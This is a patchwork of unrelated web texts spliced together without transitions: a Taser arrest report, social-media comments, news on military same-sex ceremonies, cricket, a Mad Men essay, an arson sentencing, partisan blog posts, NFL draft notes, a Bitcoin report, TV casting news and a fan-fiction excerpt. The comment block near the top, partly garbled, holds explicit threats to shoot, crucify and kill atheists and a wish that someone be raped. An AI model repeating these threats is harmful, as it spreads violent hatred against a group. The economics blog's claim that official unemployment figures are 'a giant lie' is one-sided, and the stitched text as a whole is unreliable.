Officer Claudia Wright wrote in a police report that when she approached, Beeland became "verbally profane, abusive, loud and irate." She said she warned Beeland to calm down or face arrest.
In a video, Beeland is seen backing away and avoiding Wright, then crumpling to the ground after being hit with the Taser.
Wright was not disciplined, and police Chief Mike Chitwood defended her actions. Beeland was refusing an officer's orders, and using a Taser avoided use of other weapons, he said.
Police verified Beeland, 35, was using her own credit card, but she was arrested on two misdemeanors, disorderly conduct and resisting a police officer without violence. She has since pleaded not guilty, and state prosecutors are reviewing whether to pursue the case.
Beeland's attorney William Chanfrau Jr. said he is reviewing the encounter and declined further comment.
The Daytona Beach News-Journal reported Friday that Daytona Beach police used a Taser 10 times in November, but Beeland was the only person stunned who wasn't acting violently or fleeing.
Amnesty International and American Civil Liberties Union representatives criticized the use of a Taser on Beeland, saying yelling at an officer is not illegal and other methods could have been used.
Fox News interviewed Daytona Police Chief Mike Chitwood, who defended his officer's actions, but said that the incident was being investigated. He also admitted the woman never threatened the police officer, but the "force continuum" allows for stunning if "their actions force the officer to use physical maneuvers to establish control."
Chitwood said that the woman wasn't complying to demands from an officer and called it "passive physical resistance."
"Absolutely," Chitwood said when asked if his officer did the right thing but he added that it was "not a good incident," regardless.
(with wire reports)
This video is from Fox's Fox News Live, broadcast on December 21, 2007.
there is God
21 hours ago - no 2 people
Joe Martinez TD ALL ATHEIEST DIE AN GD Tail HELL HAHA IF I
COULD ID SHOOT ALL OF YOU IN THE HEAD WITH A
20 hours ago k as 1 person
i the cross with nails through their hands and feet, place a crown of
thorns upon their head, RAM a spear through their side all after
being whipped and beaten publicly! Just so they can endure what
Christ did so they understand the sacrifice behind what that cross
symbolizes.
21 hours ago . at 19 people
Chris Dunn I thinly we should hang the leader of that group on
FR Joseph mats easy shoot them
21 hours ago
ll, Sindy Clock I we Jesus, and the cross and if you dont, I hope
someone rapes you!
to hours ago . an 2 people
Patrick Alley Kill em aai... let God sort pm out Guess what
Atheists...
4 horns ago
Bob Shoot them. Shoot to kill.
21 hours ago
Sindy Clock stupid athiests, I hope God kills them all.
6 hours ago
Scott Miller IF THE CROSS OFFENDS YOU: so SHOULD THIS
BEFORE WE KILL YOU!!!!
20 hours ago
Ikill
Two U.S. Senators have introduced legislation to ban same-sex marriage ceremonies from occurring on military bases, following approval of a similar measure by the House of Representatives.
Sens. Jim Inhofe, R-Okla., and Roger Wicker, R-Miss., co-authored the legislation presented Tuesday that would prevent marriage or “marriage-like ceremonies” of same-sex couples at military facilities. It would also allow military chaplains to opt out of performing such a union if they object for “reasons of conscience,” Inhofe’s office said in a statement.
Some same-sex civil unions have taken place at military facilities — including in Louisiana and New Jersey — since the military in September 2011 repealed its “don’t ask, don’t tell policy,” ending the ban on openly gay and lesbian service members.
“President Obama and his administration are dismissing their responsibility to uphold the law of the land by unilaterally deeming DOMA (the Defense of Marriage Act, which bars federal recognition of same-sex marriage) unworthy of enforcement,” Inhofe said.
The Department of Defense doesn't comment on proposed legislation, spokeswoman Eileen M. Lainez told NBC News, but she sent guidance distributed last year that allows for a military chaplain to decide whether or not to participate in a private ceremony — whether on or off a military site — “provided that the ceremony is not prohibited by applicable state and local law.” The chaplain’s participation and use of military facilities for such functions does not constitute department endorsement.
Six states and the District of Columbia allow same-sex marriage, while 31 states have constitutional amendments that effectively ban it. Plaintiffs in several lawsuits challenging DOMA have asked the Supreme Court to hear their case in the high court’s next session.
Sue Fulton, communications director at OutServe, an association of actively-serving LGBT military personnel with more than 4,500 members, said the proposed legislation violated service members' exercise of religious freedom and noted that a chaplain would never be forced to conduct a ceremony he disagreed with.
“This is something that is most often a private religious ceremony between two people — at least one of them who is serving — and their friends and family and their chaplain,” she told NBC News. “And, for a Congress member to get in the middle of that when they’re just trying to have their life and exercise their own religious freedom, is despicable.”
The House of Representatives in late July approved an amendment to the 2013 defense spending bill that would prohibit money being spent by the military to violate DOMA. Similar versions of it had previously passed the House, according to The Hill.
"The military is an entity of the federal government, and federal law states that marriage is between a man and a woman," Rep. Steve King (R-Iowa), who proposed the amendment, said on his website. "Despite this, the Obama administration has allowed same sex marriages to occur on military bases. These marriages violate ... DOMA. My amendment prohibits the use of both military funds and facilities for same-sex marriages.”
A study released on Monday found the repeal of “don’t ask, don’t tell” had not had a negative impact on force readiness, recruitment or retention, contrary to predictions that it would. The research was conducted by the Palm Center, which researches sexual minorities in the military.
Implementation of the repeal was "proceeding smoothly" across the Department of Defense, said Lainez.
Since “don’t ask, don’t tell” ended, the Defense Department has held a gay pride event and allowed service members to march in pride parades in uniform, according to reports.
More content from NBCNews.com:
Last year, Dravid was Pandya's coach on an India A tour of Australia, where the allrounder first showed signs of being able to temper his naturally free-stroking approach when the situation demanded it. Since then, Pandya has continued to demonstrate this adaptability, most recently in the ongoing ODI series against Australia, where he has scored two match-winning half-centuries of varying moods.
In the first ODI, he revived a floundering innings with MS Dhoni before launching into Australia's spinners to make a match-turning 83. In Indore on Sunday, he was sent up to No. 4 after the openers put on a century stand in a chase of 294. Pandya sustained the tempo while scoring 78, and fell with India only 10 short of their target.
"A good example about Hardik from my perspective is, he's willing to play situations and not just the natural game we often speak about. Credit goes completely to him. He's the one who has actually turned his career around." Dravid said on Monday, on the sidelines of India A's unofficial Test against New Zealand A in Vijayawada. "It's not about playing just the one way you want to play.
"If he bats at four, he bats in a particular way. If he bats at six, he bats in a particular way. Tomorrow, he may bat at 80 for 4, like he did in the first ODI with Dhoni. That shows maturity and that's what you want to see. This concept of 'play your natural game', which I hear all the time, frustrates me because there's no such thing in my belief as 'natural game.'
"It's only about how you play different situations. Are you good enough to play when the score is 30 for 3, or 250 for 3? Are you good enough to bat when you go in first over or are you good enough to go in first ball after lunch? You have to learn to bat differently in different conditions, and if you can do that like Hardik is showing at the moment, those would be signs of a developing cricketer, someone who can make consistent contributions and not someone who is a one-off, who can produce brilliance once in a while. The aspiration and challenges set for a lot of India A players is to be all-weather players, all-situation players, all-condition players."
Pandya's coming of age is an example of how exposure to the India Under-19 and India A teams, which Dravid has coached for over two years now, has helped players to make a smooth transition when called up to the senior team.
Rishabh Pant is another player who has come through this pathway. The 19-year old who made his international debut earlier this year against England after graduating from the Under-19s in 2016, comes with the reputation of being a big hitter. However, his over-aggression has cut short a few of his promising innings.
Rishabh Pant cuts the ball fine for a four Getty Images
The first unofficial Test against New Zealand A was one such example. Pant, who had already hit nine fours and two sixes in his 67, seemed to be on course to make a hundred. Fields were spread out, runs were available if he just pushed the ball into the gaps, with the bowlers looking to get him off strike and target the lower order. But he fell trying to hit out.
Dravid, who has worked with Pant for over two years now, said it was important to recognise the ability of certain players and allow them a learning environment that makes them comfortable while still holding them accountable.
"I think it's a balance," Dravid said. "It's recognition of the fact that someone like Rishabh will always be an attacking player. You don't want to take away his attacking instincts, but you want to inculcate a certain sense of smartness to be able to read situations and recognise situations where the time is hot for you to make it count.
"I think [in the first four-day game] he got stuck with the tailenders. Again, it is part of his learning experiences and that is the conversation I've had with him. When you're young, you think you have to hit every ball when a tailender is around you. It takes time and experience to learn [to bat] with the tail. That's what he is learning. It's not going to happen overnight.
"Experiences like these are good for him even if it doesn't come off. If he goes back and thinks, 'were there any other options I could have used rather than the ones I took, that may have helped me play better?' he's an improved player. These are the chats we have. He's a talented kid and good at what he does; he has exceptional skill and exceptional ability. He'll learn with more opportunities, and more games. That's what these matches are about. I'm not too stressed about results. For me, it's about if they're learning from different situations."
Michael Yarish/AMC
Hanna, Seth,
I am glad you asked me about Bob Benson. He came into focus for me this episode and I’m anxious to talk it out.
Bob has been the gun that might go off all season. People have put forth that he’s a spy or an investigative journalist, and now Ginsberg himself has asked if Benson is gay (shades of Salvatore Romano). This is television, after all, so anything is possible, including Bob realizing that he’s Don Draper’s long-lost gay son and killing the entire staff (except for Peggy, who is left to tell the story to Advertising Age). Or maybe, as has been suggested at Vulture and elsewhere, Bob is a doppelganger to Don. After all, he is inventing his own Bob Bensonhood in the same way that Don invented his Don Draperhood.
But perhaps a sort of “Weiner’s Razor” (ouch) applies. Maybe no great reveal awaits us, and when we peel back the Bob we’ll only be faced with yet more Bob. There was that brief scene in which Bob was listening to a sales seminar on LP, right before he got the call about Ginsberg. He didn’t know that particular call was coming; he just knew he’d need to pitch Manischewitz. Here’s what he heard, eyes closed, with an assist from a sales website.
Gentlemen, after all, this business of selling narrows down to one thing, just one thing: Seeing the people. Show me any man of ordinary ability [phone rings] who will go out and earnestly tell his story to four or five people every day, and I will show you a man who just can’t help making good.
That was Frank Bettger (who was in turn quoting an inspirational speech he had heard), from an album based on his best-selling How I Raised Myself From Failure to Success in Selling (1949). It turns out it’s a fairly well-known quote. And Benson, in a state of Bettger-inspired readiness, actually manages to inspire Ginsberg, enough to knock him out of his self-indulgent radical funk and back onto the bandwagon. Of course Ginsberg doesn’t really want out; he wants to act out. But he’s really good at advertising and probably not going to join the Krishnas a la Paul Kinsey or become a Hollywood player like Danny Siegel.
Benson, in the process of literally lifting Ginsberg from the floor, tells him to be ready. This state of alertness to opportunity is Benson’s capitalist version of Zen. It’s too soon for est and the Landmark Forum. But that doesn’t mean there wasn’t already established a grand tradition of opportunity in American business, albeit one that hardly ever gets discussed in highbrow media. Maybe it’s because TV writers are naturally horrified by stuff like Who Moved My Cheese? (True, the film version isn’t great.) But literary merit aside, business fables and stories of success have been part of the American narrative since Ben Franklin.
Since the country was founded, if you wanted to pull yourself up by your own bootstraps, there was always someone ready to sell you the bootstraps. For example, starting in the early part of the 1900s you could send away for a full set of Alexander Hamilton Institute “Modern Business” volumes. Small, pocket-sized books to teach you all aspects of business. They show you how to plan a factory floor and do the books and write advertising, too. I own a copy of the whole set and I love leafing through them.
Of course there’s Dale Carnegie’s How to Win Friends and Influence People. Before that, in the 1920s, there was The Man Nobody Knows, about how Jesus was the first great businessman. (“The second [secret of Jesus’ success] was his wonderful power to pick men, and to recognize hidden capacities in them.”)
But ranking right below Franklin in importance to business lore is Elbert Hubbard’s 1899 “A Message to Garcia,” which sold 40 million copies and which I urge you to read. It will make you want to go out and do some business, right now. It’s about a man, Rowan, who was given a letter by President William McKinley for Calixto Garcia, a leader of the Cuban rebels. So “Rowan took the letter and did not ask, ‘Where is he at?’ By the Eternal! there is a man whose form should be cast in deathless bronze and the statue placed in every college of the land.” It only heats up from there. Here’s a taste:
We have recently been hearing much maudlin sympathy expressed for the “downtrodden denizens of the sweat-shop” and the “homeless wanderer searching for honest employment,” and with it all often go many hard words for the men in power.
Nothing is said about the employer who grows old before his time in a vain attempt to get frowsy ne’er-do-wells to do intelligent work; and his long, patient striving with “help” that does nothing but loaf when his back is turned. In every store and factory there is a constant weeding-out process going on. The employer is continually sending away “help” that have shown their incapacity to further the interests of the business, and others are being taken on.
Bob Benson is ready to take a message to Garcia. Benson has always been ready, every time we’ve seen him. He wants a place for himself as a first-class citizen at SC&P. And Bob, praise him, doesn’t ask for slack. He’s willing to earn that place, if he could just get a chance.
Advertising is a weird industry because it throws people like Jim Cutler and Michael Ginsberg into the same office. You need Jim or Roger to smooth things with clients, to impress them with pedigree and promise them access to a world of pleasure and excitement, and, if they buy a campaign, material success. But Ginsberg, Stan, and Peggy are the engines that push things forward. Even if they call you a fascist, you need them.
So Cutler listens to Ted Chaough’s reasonable defense of Ginsberg, and that sets in motion a series of events that lead to Benson getting a chance to shine at a client meeting, taking over a task that Roger had deferred to Jim. Cutler sees in Bob a man who will take the message to Garcia. That he fails doesn’t really matter; it was thirdhand work anyway, and not Jim’s client. The key thing is that he showed up to do it.
Contrast that with Pete being told he’s head of new business. “Since when?” he says. “I don’t want that!” Perhaps Bob is an analog to Don, or perhaps Bob is the anti-Pete. Bob is exactly what you’d want your employee to be: eager, ambitious, relentlessly positive, grateful to help. That he lacks any obvious inner life aside from inspirational seminar thinking, is almost a benefit. Nothing to bog him down.
My bet is that the joke is on us, that there is no great reveal. Bob Benson is a way for the writers to show us how, in the world of Mad Men, the very qualities that define a real go-getting American businessman, here, in this office, with these people, look like vile perversion. To propose that Bob Benson is a spy is, frankly, to dance on Dutch Reagan’s grave. If you suspect Bob, you suspect the backbone of American commerce. If you suspect Bob, you suspect opportunity itself.
What I want to see is what happens when his ethics are really tested, when he is forced to choose sides. That the entirety of the renamed SC&P is headed to a showdown that pits the ex-SCDP team against the ex-CGC team means that we could see what happens when an ideology of pure sales success smashes into the realpolitik of intra-agency warfare. This episode—that brief scene with the record player and Frank Bettger in his ears—has made me hopeful that we will see exactly that.
You gotta be in the right place all the time,
The crime of Lorenzo Fonerin, according to Brooklyn District Attorney Ken Thompson, was "horrific and inhumane."
"With this abhorrent behavior, he relinquished the right to be out in the streets of Brooklyn and today's sentence ensures that outcome," Thompson said in a statement.
The victim, Tasheen Hand, 38, was induced into a coma for two weeks and suffered burns throughout 30 percent of his body. The victim's mother told the sentencing judge during Friday's hearing that her mentally disabled son now has "alligator-like skin" and is stared at by people, according to local news accounts.
The defendant filmed his boss dousing the victim with lighter fluid and using a box of matches to start the flames. The sleeping victim was awoken by onlookers.
"The defendant poured water on my son, but I would have been happier if he just asked him to leave or just used that same cellphone to call police," the mother told Justice Deborah Dowling. "Pouring water didn't save him."
The defendant, who encouraged his boss, apologized in court. He was convicted of assault in March for standing by as his boss ignited the sleeping homeless man.
"I am very sorry. I hope he gets better," Fonerin said through a Spanish-language interpreter, according to the New York Daily News.
Fonerin's boss, Suliman Ahmed, is expected to go on trial later this year in connection to the September, 23, 2012 crime.
Prosecutors sought 20 years for Fonerin.
The focus this time: Not in their right mind.
First, a little mood movie:
Carrying on…
Remember how pot smoking hippies were supposed to be all into nature and stuff, like these crying hippies below:
Turns out that those wonderful marijuana farmers are anything but:
“Detective Chandler Baird of the Humboldt County Sheriff showed KPIX 5 how growers are clear-cutting 100 year old redwoods, leveling hills and sucking dry rivers that are already stricken by drought. Not to mention the violence. “‘We do come across a lot of firearms, we have deputies that have gotten into shootings before in these grows,’ said Baird. ‘Some of the ones I have shown you today are definitely known drug trafficking organizations.’ “So who are these new gold diggers? Where do they come from? ‘All 50 states, Latin America, Asia, Bulgaria,’ said Baird. “We asked, why Bulgaria? ‘There’s a lot of money to be made in marijuana,’ said Baird. ‘It’s a modern day green rush.'”
Yah, real peaceful. De facto legalization solves sooo many crimes against the world…
Speaking of crimes against the world and against humanity, the U.K. will, if the Conservatives are re-elected to the government, ban predicted extremists from social media, TV, events, &c.
“Extremists will have to get posts on Facebook and Twitter approved in advance by the police under sweeping rules planned by the Conservatives. “They will also be barred from speaking at public events if they represent a threat to ‘the functioning of democracy’, under the new Extremist Disruption Orders.” Sound bad? It’s worse than you think: “Under the Tories’ new proposals, groups that cannot currently be proscribed could be subject to banning orders should ministers ‘reasonably believe’ that they intend to incite religious or racial hatred, to threaten democracy or if there is a pressing need to protect the public from harm, either from a risk of violence, public disorder, harassment or other criminal acts.”
Big Brother is ever so vigilant…
Lena Dunham, a sad and pathetic excuse for a human being, seems to think that mere voting is the paragon of citizenship. Kevin D. Williamson objects:
“Miss Dunham, reflecting celebrity culture at large, makes a fetish of voting, and it is easy to see why: Voting is the most shallow gesture of citizenship there is, the issuance of a demand — a statement that ‘this is how the world should be,’ as Miss Dunham puts it — imposing nothing in the way of reciprocal responsibility. Power without responsibility — Stanley Baldwin would not have been surprised that Miss Dunham and likeminded celebrities think of voting in terms of their sex lives. Miss Dunham, in an earlier endorsement of Barack Obama, compared voting in the presidential election to losing one’s virginity — you want it to be someone special. Understood that way, voting is nothing other than a reiteration of the original infantile demand: ‘I Want!'”
Once, voting was the honor of those entrusted with it, to act as stewards of the state. Now, it is just a way of forcing one’s will upon others.
TTFN
NFL Network Draft Analyst Mike Mayock has been considered one of the most prolific media experts on the process. On Monday, Mayock hosted his annual pre-combine conference call, which lasted well over two hours.
First Coast News was on the conference call and asked Mayock about the Jaguars' No. 4 overall pick.
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Jacksonville's draft position puts the team in a good place to land a top talent, but Mayock said the key for the Jaguars will be selecting an immediate impact player.
“I think the critical thing when you’re sitting there at four, and you take quarterback out the equation, you’ve got to get a difference-maker,” Mayock said. “As you stack your board, at worst case, you’re going to get the fourth guy on your board. You better make sure you’ve got [the board] stacked for production.”
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The Jaguars are in a place where they should look to upgrade at running back, safety and defensive end. All three positions have players worthy of the Jaguars' selection, according to Mayock.
The draft expert said the team has to get production from the selection as soon as possible, regardless of the player's position.
“I loved [former Jaguars first round pick] Dante Fowler in college,” Mayock said. “Loved his production, but they need more out of Dante Fowler. When you’re sitting there at four and evaluating need versus value, I think they need to meld together and at the end of the day you’ve just got to get yourself a football player that you think is going to be a Pro Bowler. I don’t really care what position.”
You've probably seen Florida State running back Dalvin Cook, LSU running back Leonard Fournette, Alabama defensive lineman Jonathan Allen and Ohio State safety Malik Hooker linked to the Jaguars in recent mock drafts.
Mayock believes the potential group for the Jaguars' pick should be much broader than those four names.
“I think you have to look at the running backs [Cook and Fournette] and say ‘Hey, are we interested in these two guys?’” Mayock said. “I think you have to look at those two safeties [Jamal Adams and Hooker], I think you have to look at [cornerback] Marshon Lattimore, I think you have look at the linebacker from Alabama [Rueben Foster]. "
Still, Mayock said selecting Allen or Texas A&M defensive end Myles Garrett would be the biggest potential addition for the Jaguars.
“When you’re talking about the best four or five players in this draft, who are they?” Mayock said. “I said a bunch of times that I think it’s [Myles] Garrett, I think [Jonathan Allen], I think they’re one and two. If either of those guys got to four, you should throw a party.”
Mayock has also seen a fit with the Jaguars and Foster.
"You’ve got Tom Coughlin with Dave Caldwell now,” Mayock said. “You have to figure out, ‘What does a Jaguar look like? Who’s the toughest guy?’ I think Reuben Foster has to be in that conversation.”
If the Jaguars decide to pass on defensive needs, the running game could come into play. The Jaguars are looking to emphasize the ground attack this season and adding either Cook or Fournette would be a step in the right direction.
While both players offer premium talent, Mayock said they're very different prospects.
“I think they’re both incredibly gifted and think they’ll contribute to a team right away,” Mayock said. “And if used properly, they’re two different conversations. Fournette, you’re committing to a major run game effort, physicality in the run game. If it’s Cook, it’s a little bit more balanced. But either one of them are gifted kids and I would say I think you can [draft them Top 5].”
More Notes from Mayock
- Mayock said he believes Garrett has the most upside of any player in the draft. He thinks Allan can play anywhere in a 4-3 defense front, but believes he will thrive as an inside pass rusher. Mayock believes Allen is a safer prospect than Garrett.
- Mayock said that finding a starting offensive tackle in this class will be tough. He ranks Wisconsin left tackle Ryan Ramczyk as the top offensive tackle in the class. He doesn't have any offensive tackles projected in the Top 7 picks.
- Mayock is "fascinated" by Clemson quarterback Dashaun Watson. However, he doesn't see a Day 1 starting quarterback in this class. He listed California's Davis Webb, Miami's Brad Kaaya and Tennessee's Josh Dobbs as intriguing developmental quarterback prospects.
The mainstream media is heralding the decline of the official unemployment rate to 7.7 percent as evidence that the U.S. economy is improving. But it is a giant lie. The truth is that unemployment in America is not actually going down. The percentage of working age Americans with a job actually dropped slightly in November. During the last recession, the percentage of working age Americans with a job fell from about 63 percent to under 59 percent and it has stayed there for 39 months in a row. In September 2009, during the depths of the last economic crisis, 58.7 percent of all working age Americans were employed. In November 2012, 58.7 percent of all working age Americans were employed. It is more then 3 years later, and we are in the exact same place! So how in the world are they able to pretend that the “unemployment rate” is going down steadily? Well, they get there by pretending that hundreds of thousands of unemployed workers “leave the labor force” each month. According to the government, another 350,000 Americans left the labor force during November, and when you keep pretending that huge chunks of workers “disappear” each month it is easy to get the “unemployment rate” to go down. But any idiot can see that there is something really funny about these numbers. Barack Obama has been president for less than four years, and during that time the number of Americans “not in the labor force” has increased by nearly 8.5 million. Something seems really “off” about that number, because during the entire decade of the 1980s the number of Americans “not in the labor force” only rose by about 2.5 million. At this point the official unemployment rate is so manipulated that it is of very little value at all.
But the mainstream media is just eating up this “good news”. They are very excited that the “unemployment rate” has fallen from its peak of 10.0 percent in October 2009 to 7.7 percent now…
But if unemployment was actually going down, we should be seeing the percentage of Americans with a job go up.
Unfortunately, that is NOT happening.
As I mentioned above, the “employment rate” fell below 59 percent during the last economic crisis and it has stayed there for 39 consecutive months…
So all of that stuff about the employment situation getting better is just a load of nonsense. The percentage of Americans with a job has stayed very, very steady since the end of 2009. It is almost as if someone has hit a “pause button” and won’t let unemployment get better or get worse.
This is the first time since the end of World War II that we have not seen the employment-population ratio bounce back in a significant way after a recession has ended.
To me, that is a very bad sign.
I also find it very interesting that the government revised the “job gains” for September and October downward in this recent report…
The government revised down job gains for September and October by a total 49,000. September’s additions were revised from 148,000 to 132,000 and October’s, from 171,000 to 138,000.
So it turns out that the glowing employment reports from those months that helped get Obama re-elected were really not that great after all.
The truth is that it takes somewhere between 100,000 and 150,000 new jobs a month just to keep up with the growth of the population. So at best we are treading water.
And who is “creating” those new jobs?
According to an analysis performed by CNSNews.com, 73 percent of the jobs “created” over the past 5 months have been “created” by government.
But government does not create real wealth.
Real wealth is only created by the private sector.
It would be very nice if I could report a major employment turnaround, but it simply is not happening.
Instead, we continue to see an increase in the number of Americans living in poverty.
If things are getting better, then why are organizations like the Salvation Army seeing record numbers of families coming to them for help this holiday season?
For much more on the continued growth of poverty in the United States, just see this article.
Sadly, an increasing number of Americans find themselves forced to turn to the government for assistance, and the cost of caring for all of them has become extremely expensive…
According to the Republican side of the Senate Budget Committee, welfare spending per day per household in poverty is $168, which is higher than the $137 median income per day. When broken down per hour, welfare spending per hour per household in poverty is $30.60, which is higher than the $25.03 median income per hour.
But if you think that things are bad now, you should brace yourself, because things are going to get even worse.
For example, how much worse will things get if a fiscal cliff deal is not reached and millions more Americans find themselves in desperate need of help? According to ABC News, more than 3 million Americans will lose unemployment benefits by the beginning of April if Congress does not do something…
Millions of unemployed Americans have another reason to worry about “fiscal cliff” budget talks that seek to avoid looming tax increases and dire spending cuts come January. About 2.1 million people will stop receiving jobless benefits immediately if Congress doesn’t reauthorize federal unemployment insurance programs by year’s end. Another 1 million will lose benefits over the first three months of 2013.
2013 is already shaping up to be a very tough year.
But the mainstream media is not really talking about how the middle class is systematically being destroyed or about how our once great manufacturing cities are being turned into desolate wastelands.
They just want us all to be happy, but the cold, hard reality of the matter is that the U.S. economy no longer produces enough jobs for everybody and it never will again.
Both of our major political parties have fully embraced the emerging one world economic system which puts average American workers into direct competition for jobs with workers in third world countries where it is legal to pay slave labor wages.
Millions of good paying American jobs have been shipped to countries where workers work very long hours in absolutely horrific conditions for as little as 45 dollars a month.
Are you willing to work for 45 dollars a month?
Meanwhile, Americans that still do have jobs are piling up more debt than ever before. It appears that most people have not learned any lessons from the last major economic crisis. It has just been reported that consumer borrowing in the United States has hit a new record high…
Americans swiped their credit cards more often in October and borrowed more to attend school and buy cars. The increases drove U.S. consumer debt to an all-time high. The Federal Reserve said Friday that consumers increased their borrowing by $14.2 billion in October from September. Total borrowing rose to a record $2.75 trillion.
Isn’t that lovely?
And of course the biggest offender of all is our federal government. They just keep borrowing money as if there was no tomorrow.
During the first two months of fiscal year 2013, the U.S. government has run a deficit of $292 billion dollars ($57 billion worse than last year) and during that time it has borrowed an average of $4.8 billion dollars a day.
30 years ago, the U.S. national debt was about 1.1 trillion dollars.
Now it is more than 16.3 trillion dollars.
To get an idea how much money 16 trillion dollars is, just watch this 2 minute video.
How could we be so stupid?
Yes, much of America is still experiencing “prosperity” right now. But it is a prosperity that has been fueled by the greatest debt bubble that the world has ever seen.
When that debt bubble bursts the pain is going to be unbelievable.
If you actually believe that America is going to prosper in the years to come, you are just fooling yourself.
Our economy is declining and has been declining for quite some time. If you doubt this, just read this: “34 Signs That America Is In Decline“.
So that is the bad news.
But the good news is that even though the entire nation is not going to prosper, there will be those that will have prepared and that will have gotten themselves into position to take advantage of what is coming. During the coming crisis a massive amount of money and wealth will change hands. Instead of living in fear and cowering under a blanket, now is the time to figure out how you and your family can thrive during the hard times that are on the horizon.
During the economic crisis of 2008 and 2009, there were some people that actually did amazingly well. So don’t lose hope just because the U.S. economy is headed for disaster.
Everything that can be shaken will be shaken. But if you understand what is happening and you prepare for it, the times that are coming can actually be a great adventure and a great blessing for you and your family.
Fitch maintains that despite Bitcoin’s growing use as a payment system and the attention in the marketplace, the virtual currency is small relative to both traditional payment processors and global currencies. As a reminder, there are currently about 12.1 million bitcoins in circulation versus a maximum of 21 million bitcoins.
Another issue identifies exactly how widespread Bitcoin use is. Fitch indicates that total Bitcoin transactions averaged some $68 million per day in February 2014. That is up more than tenfold when compared to February 2013.
By comparison, Western Union Co. (NYSE: WU) averaged $225 million in transaction volumes per day during 2013. PayPal, under eBay Inc. (NASDAQ: EBAY), was shown to average some $492 million in its transaction volumes per day during 2013. Wednesday’s report showed that Bitcoin’s transaction volumes are less significant compared to the major credit card companies.
Fitch said:
From a trading perspective, Bitcoin transaction volumes relative to the stock of outstanding Bitcoins resemble those of equity securities. There was about $68 million in average daily transaction volume in Bitcoin in February 2014 relative to its $6.75 billion money supply, or approximately 1% of total market capitalization was traded per day. Over the same period, an analysis of a sample of the largest U.S. equity securities shows that daily trading volumes were approximately 0.6% of total market capitalization.
Fitch further said that Bitcoin’s market capitalization is less than 1% of total U.S. dollars, and is closer in size to smaller currencies such as the Guatemalan quetzal. Those figures may be true, but the daily transaction volume is impressive when you consider the other companies out there.
The impetus of the Fitch report is that Bitcoin remains at risk, and the subtitle of the “Sizing Up Bitcoin” report is “Why Is the Future of Bitcoin Uncertain?” Fitch says:
Bitcoin has received significant attention because of its dramatic price appreciation, use in illicit transactions, the closure of the once-largest Bitcoin exchange, Mt. Gox, and recent tax guidance on virtual currencies issued by the IRS. The future of Bitcoin is difficult to project. Its utility may remain limited to those users that desire a degree of anonymity, or it could grow to become a globally accepted alternative to conventional money or an investment product.
What probably should stand out the most is not how small Bitcoin is versus real currencies, but that this $68 million in daily transaction volumes was taking place during a period of severe uncertainty, and that Bitcoin was represented independently by Fitch as being right at 30% of Western Union’s daily transactions and almost 14% of PayPal’s transaction volumes per day.
Appearing in Oliver (Stephen Amell)'s island flashbacks, 'Arrow''s incarnation of Dr. Anthony Ivo will emerge as a brutal but ruthless scientist who will stop at nothing to unearth a breakthrough that dates back to the latter days of World War II. Neal's Ivo will appear in a four-episode arc beginning with episode 5, "League of Assassins," with the potential to recur in later installments.
Those familiar with DC comics will recognize Anthony Ivo as the creator of the power-mimicking "Amazo" android, as well as a villain in his own right with both a paralyzing fear of, and a desire to conquer death. Neal himself has a long list of TV and film credits , among which were previous CW appearances on ' Smallville ' as Metropolis DA Ray Sacks.
In addition to introducing Grant Gustin's Flash alongside references to Metamorpho and The Atom , ‘Arrow’ season 2 will pick up on October 9 some time after the events of the season 1 finale , continuing its ‘Batman Begins’- influenced storytelling with the addition of new villains Isabel Rochev ( Summer Glau ), Bronze Tiger (Michael Jai White) , Amanda Waller (‘ Spartacus ‘ Cynthia Addai-Robinson ), Brother Blood (Kevin Alejandro), League of Assassins member Al-Owal (‘ Homeland ”s Navid Negahban ) and DC character Sin (‘ The Killing ”s Bex Taylor Klaus ). Season 1 stars Colton Haynes (Roy Harper), Manu Bennett (Slade Wilson) and Emily Bett Rickards (Felicity Smoak) have also been upgraded to series regulars this time around, as well.
XxX
Yang
(One month later)
Yang walked briskly into Oobleck's classroom, a little skip in her step. She was actually a little excited about this lecture. It felt wrong to be excited about a history class, of course, but she couldn't help it. Oobleck really seemed to care about his subject and she respected that kind of intensity. Also, he'd had been building up to this lecture for weeks, and according to some of the upperclassmen this one was worth the hype. It helped that the stuff he was talking about was recent, and not that 'archaeology of pre-hunter societies' crap she'd gotten at Signal. Thank the gods those classes were... ancient history.
She and the other students took their seats as the Prof stepped forward from the back of the classroom. Blake leaned forward beside her, as mysteriously dedicated to this class as she'd been for the past series of lectures. Sure, Blake always did well in class, but it was strange to see her... participating so easily. Yang shrugged. Maybe she was just interested in Faunus history. Everyone had their weird hobbies. Live and let live-those were words Yang lived by.
Oobleck tapped his thermos once, stowed it away, and began his lecture, starting his customary pacing back and forth in the front of the classroom.
"All right, students, where did we leave off last time? We're right in the middle of things, it's so hard to keep track..." The man was genuinely asking. Yang rolled her eyes, but smiled nonetheless.
Pyrrha raised her hand.
"With the capture of General Lagune and the subsequent surrender of the human armies, professor. The third year of the Faunus revolt."
He nodded.
"Ah, yes! Excellent, excellent. So, that brings us to the postwar period. In a world rocked by two globe-spanning wars in as many decades, those left were decidedly uneasy about coming to any sort of peace. However, once the dust settled, there was a treaty. The Menagerie Accords, outlawing anti-Faunus discrimination and guaranteeing a Faunus sanctuary in Menagerie in case public opinion failed to be changed by law in exchange for the cessation of unrest. This I hope you all know. That brings us to our first question for today's lecture. Who proposed the Accords?"
Weiss raised her hand. She'd started participating more in these classes too, come to think of it. Then again, it made sense for her. She was a Schnee. Their relationship with the Faunus could be best described as... ice cold. She probably wanted to score points whenever she could. Also, again, she was a Schnee. Overachievement was written in their DNA. Or their genes. Or their brains-whatever. Yang wasn't exactly sure how genetics worked but she also really didn't care.
"The humans, of course. They saw that the situation with the Faunus was unsustainable. That's also why one of the charges laid at Faunus feet to this day is their violation of the Accords. We gave them what we promised, they should have the common decency to remain peaceful."
Common decency. Yang snorted. What a Weiss thing to say.
Blake's hand shot up before Oobleck could respond. He stopped his pacing, pointing at her.
"Rebuttal, Ms. Belladonna?"
"Yes. The Faunus didn't violate the Accords, the humans did-it took decades of mistreatment before the Faunus turned to violence. That's not a violation of the treaty on the Faunus's part, it's restraint!"
Yang whistled, eyes wide.
Oobleck held up a hand and resumed pacing.
"Interesting as this debate undoubtedly promises to be, that isn't the question at hand right now - any rebuttals to Ms. Schnee's claim that the humans were the ones to propose the treaty? Come on, come on, this isn't a hard question, think about what you know - the Faunus captured Laguna, the war ended, and we got the Accords, so who made them?!"
The class fell silent. Yang couldn't blame them, Weiss was right - or at least, that's what everybody said, about the Faunus. Yang didn't hold by all that lesser species nonsense, and the Faunus did get mistreated and that was wrong, but the humans made them a treaty. The Prof looked a little disappointed, pace slowing.
